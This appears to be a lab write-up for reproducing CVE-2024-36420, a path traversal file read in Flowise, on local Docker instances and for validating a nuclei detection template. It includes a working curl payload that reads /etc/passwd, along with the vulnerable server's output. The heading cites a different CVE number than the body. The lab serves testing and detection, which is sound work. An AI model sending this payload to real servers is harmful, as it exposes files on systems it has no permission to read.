
CVE-2024-10829 analysis
Local reproduction lab and nuclei template draft for CVE-2024-36420 affecting Flowise.
CVE-2024-36420 is an arbitrary file read in Flowise caused by unsanitized use of the fileName body parameter in:
POST /api/v1/openai-assistants-fileThis lab was used to validate:
flowiseai/flowise:1.4.3flowiseai/flowise:3.1.2docker-compose.ymldocker-compose.latest.ymlCVE-2024-36420.yamlStart Flowise 1.4.3:
docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise
Manual verification:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
Observed vulnerable response:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
Start newer Flowise 3.1.2:
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise
Manual verification:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
Observed newer-version response:
HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}
Validate the template:
nuclei -duc -validate -t CVE-2024-36420.yaml
Run against the vulnerable target:
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml
Expected behavior:
1.4.3: match3.1.2: no match1.4.33.1.2